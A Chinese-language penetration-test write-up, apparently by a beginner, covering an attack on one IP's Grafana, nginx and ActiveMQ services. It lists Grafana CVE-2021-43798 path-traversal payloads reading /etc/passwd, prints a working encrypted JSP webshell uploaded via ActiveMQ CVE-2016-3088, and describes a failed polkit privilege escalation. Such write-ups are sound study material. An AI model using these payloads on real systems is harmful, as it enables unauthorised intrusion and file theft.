前言

學(xué)習(xí)了一兩個月的安全，為了對自己的一個學(xué)習(xí)水平做一個總結(jié)，所以我特地找來一個網(wǎng)站來進(jìn)行一次滲透實(shí)戰(zhàn)。

信息收集

這次的網(wǎng)站只有一個ip地址，但是發(fā)現(xiàn)直接訪問這個ip地址返回的是連接超時(shí)無法訪問

?

所以這時(shí)候就需要我們就得進(jìn)行一個信息收集找到跟著ip有關(guān)的網(wǎng)站進(jìn)行一個滲透測試。

通常信息收集的第一步是進(jìn)行子域名收集，但由于本次我測試的網(wǎng)站直接就是一個真實(shí)ip，所以就直接從搜索這個ip是否有相關(guān)端口開發(fā)并進(jìn)行利用。

通常進(jìn)行端口掃描是使用nmap進(jìn)行掃描，但我這里直接使用fofa進(jìn)行資產(chǎn)收集

?

通過fofa搜集我發(fā)現(xiàn)了關(guān)于這個ip的端口開放了以下端口：3000、8888、8161、9200、8080、8001六個端口。

通過測試發(fā)現(xiàn)只有3000、8888、8161三個端口可以正常訪問，所以我們就可以從這3個端口下手。

這三個端口訪問內(nèi)容如下

3000端口

8888端口

8161端口

搜集完他們的端口后我先使用dirsearch后臺掃描工具對這三個網(wǎng)站進(jìn)行一個掃描，看看是否有敏感文件。

掃描后發(fā)現(xiàn)8888端口有3個可疑敏感文件

掃描后發(fā)現(xiàn)3000端口有6個可疑敏感文件

掃描后發(fā)現(xiàn)8161端口有3個可疑敏感文件

掃描完后臺后我們查看網(wǎng)頁內(nèi)容可以發(fā)現(xiàn)，3個網(wǎng)站分別是使用3個不同的中間件來搭建的網(wǎng)站，所以我們可以查看網(wǎng)站版本并上網(wǎng)查詢此版本是否有漏洞可以利用。

百度后發(fā)現(xiàn)

3000端口的Grafana網(wǎng)站下方版本為8.2.5所以極可能存在任意文件讀取漏洞

通過輸入錯誤文件目錄我們發(fā)現(xiàn)可以獲取8888端口的nginx的版本為1.21.5

百度后發(fā)現(xiàn)這版本沒有什么漏洞

而端口8161的apache網(wǎng)站主頁并未發(fā)現(xiàn)網(wǎng)站版本，但是有一個登陸界面，我們可能可以嘗試使用字典爆破等方法嘗試?yán)@過。

漏洞驗(yàn)證

首先對上述后臺掃描的文件進(jìn)行一個測試發(fā)現(xiàn)

3000端口

都沒有可以利用的文件，所以只能從相關(guān)版本漏洞來測試了。

通過測試8161端口只發(fā)現(xiàn)一個302跳轉(zhuǎn)頁面提示

發(fā)現(xiàn)暫時(shí)也沒有可以利用的地方，所以只能嘗試能否登陸進(jìn)后臺下手了。

通過測試8888端口發(fā)現(xiàn)www.root.7z這個壓縮包下載下來后打開發(fā)現(xiàn)

這明顯是一個base64的編碼，所以我們需要對他進(jìn)行一個解碼

通過在這得到了一個賬戶和密碼，我立馬聯(lián)想是否可以登錄到apache的網(wǎng)站

輸入后發(fā)現(xiàn)果然可以登錄上apache網(wǎng)站

登錄后發(fā)現(xiàn)告訴了我們apache的版本，所以我們可以去查找此版本的相關(guān)漏洞進(jìn)行驗(yàn)證

通過百度發(fā)現(xiàn)此版本可能存在任意文件上傳漏洞

漏洞攻擊

Grafana任意文件讀取漏洞（CVE-2021-43798）

一、漏洞描述

Grafana是一個跨平臺、開源的數(shù)據(jù)可視化網(wǎng)絡(luò)應(yīng)用程序平臺。用戶配置連接的數(shù)據(jù)源之后，Grafana可以在網(wǎng)絡(luò)瀏覽器里顯示數(shù)據(jù)圖表和警告。

二、漏洞影響范圍

影響版本：

Grafana 8.0.0 - 8.3.0

安全版本：

Grafana 8.3.1, 8.2.7, 8.1.8, 8.0.7

Payload：

/public/plugins/alertlist/../../../../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../../../../etc/passwd
/public/plugins/stackdriver/../../../../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../../../../etc/passwd

通過burpsuit抓包修改進(jìn)行攻擊

可以通過腳本來批量驗(yàn)證POC

最后發(fā)現(xiàn)flag

ActiveMQ 任意文件上傳漏洞（CVE-2016-3088）

一、漏洞描述

該漏洞出現(xiàn)在fileserver應(yīng)用中,漏洞原理:ActiveMQ中的fileserver服務(wù)允許用戶通過HTTP PUT方法上傳文件到指定目錄。Fileserver支持寫入文件(不解析jsp),但是支持移動文件(Move)我們可以將jsp的文件PUT到Fileserver下,然后再通過Move指令移動到可執(zhí)行目錄下訪問。

二、漏洞影響范圍

Apache ActiveMQ 5.0.0 - 5.13.2

三、漏洞利用：

文件寫入有幾種利用方法：

1.寫入webshell

2.寫入cron 或ssh key 等文件

3.寫入jar 或 jetty.xml 等庫和配置文件

寫入webshell的好處是門檻低，方便，但是fileserver不解析jsp，admin和api兩個應(yīng)用都需要登錄才能訪問，所以有點(diǎn)雞肋，寫入cron 和ssh key 好處是直接反彈拿shell，也比較方便，缺點(diǎn)是需要root權(quán)限，寫入jar，稍微麻煩點(diǎn)（需要jar后門 ），寫入xml配置文件，這個方法比較靠譜，但有個雞肋點(diǎn)是，我們需要activemq的絕對路徑。

寫入webshell

EXP：

?
class?U?extends?ClassLoader{U(ClassLoader?c){super(c);}public
?Class?g(byte?[]b){return?super.defineClass(b,0,b.length);}}String
?k="e45e329feb5d925b";session.putValue("u",k);Cipher?
c=Cipher.getInstance("AES");c.init(2,new?SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new?
U(this.getClass().getClassLoader()).g(c.doFinal(new
?sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);

寫入webshell需要寫在admin或api應(yīng)用中，而這倆應(yīng)用都需要登錄才能訪問。我們之前已經(jīng)登錄過了，訪問admin/test/systemProperties.jsp可以查看ActiveMQ的絕對路徑

然后通過burpsuit抓包構(gòu)造PUT請求，當(dāng)返回204狀態(tài)碼則說明文件上傳成功

訪問fileserver/shell.jsp則會將我們寫入的shell展示出來，如下圖所示

MOVE請求，將該文件移動到/admin/中,讓腳本進(jìn)行解析，顯示204說明上傳成功

上傳完后通過burpsuit抓取一下GET包請求頭

使用冰蝎進(jìn)行webshell連接

連接后通過ls命令查看了當(dāng)前目錄文件，可以發(fā)現(xiàn)目錄下有CVE-2021-4034的相關(guān)文件，通過whoami和id命令發(fā)現(xiàn)只有user權(quán)限沒有root權(quán)限

通過百度發(fā)現(xiàn)CVE-2021-4034是一個權(quán)限提升的漏洞，所以我們可以嘗試通過這個漏洞進(jìn)行一個權(quán)限提升。

權(quán)限提升

CVE-2021-4034 Linux polkit 提權(quán)漏洞

一、漏洞描述

Polkit 在系統(tǒng)層級進(jìn)行權(quán)限控制，提供了一個低優(yōu)先級進(jìn)程和高優(yōu)先級進(jìn)程進(jìn)行通訊的系統(tǒng)。和 sudo 等程序不同，Polkit 并沒有賦予進(jìn)程完全的 root 權(quán)限，而是通過一個集中的策略系統(tǒng)進(jìn)行更精細(xì)的授權(quán)。

二、影響版本

目前在CVE官網(wǎng)上沒有列舉詳細(xì)的影響版本范圍，升級到最新版本即可。當(dāng)前最新版本 polkit-0.112-26.el7_9.1

三、漏洞利用

1.下載EXP，地址：https://github.com/berdav/CVE-2021-4034

2.在下載的文件夾直接make編譯

3.執(zhí)行./cve-2021-4034

4.提權(quán)成功

成功效果圖

但是我在使用的冰蝎時(shí)發(fā)現(xiàn)目錄中的EXP不完整，無法進(jìn)行一個漏洞利用，而且gcc命令未安裝，但是安裝相關(guān)命令需要root權(quán)限，所以導(dǎo)致沒法提升至root權(quán)限。暫時(shí)還沒找到其他方法進(jìn)行權(quán)限提升，若后續(xù)找到方法會重新更新。

總結(jié)

通過這一次滲透測試的實(shí)戰(zhàn)經(jīng)歷，讓我對自己的信息收集和漏洞利用方面的思路得到了提升，但在權(quán)限提升，內(nèi)網(wǎng)滲透方面學(xué)習(xí)的比較淺，還需要繼續(xù)學(xué)習(xí)。

參考文獻(xiàn)

ActiveMQ 任意文件上傳漏洞（CVE-2016-3088）-https://blog.csdn.net/weixin_45146120/article/details/106592766

CVE-2021-4034 Linux polkit 提權(quán)漏洞復(fù)現(xiàn)與修復(fù) -https://blog.csdn.net/travelnight/article/details/123640942

Grafana任意文件讀取漏洞(CVE-2021-43798) -https://blog.csdn.net/weixin_44522540/article/details/122236791

編輯：黃飛

?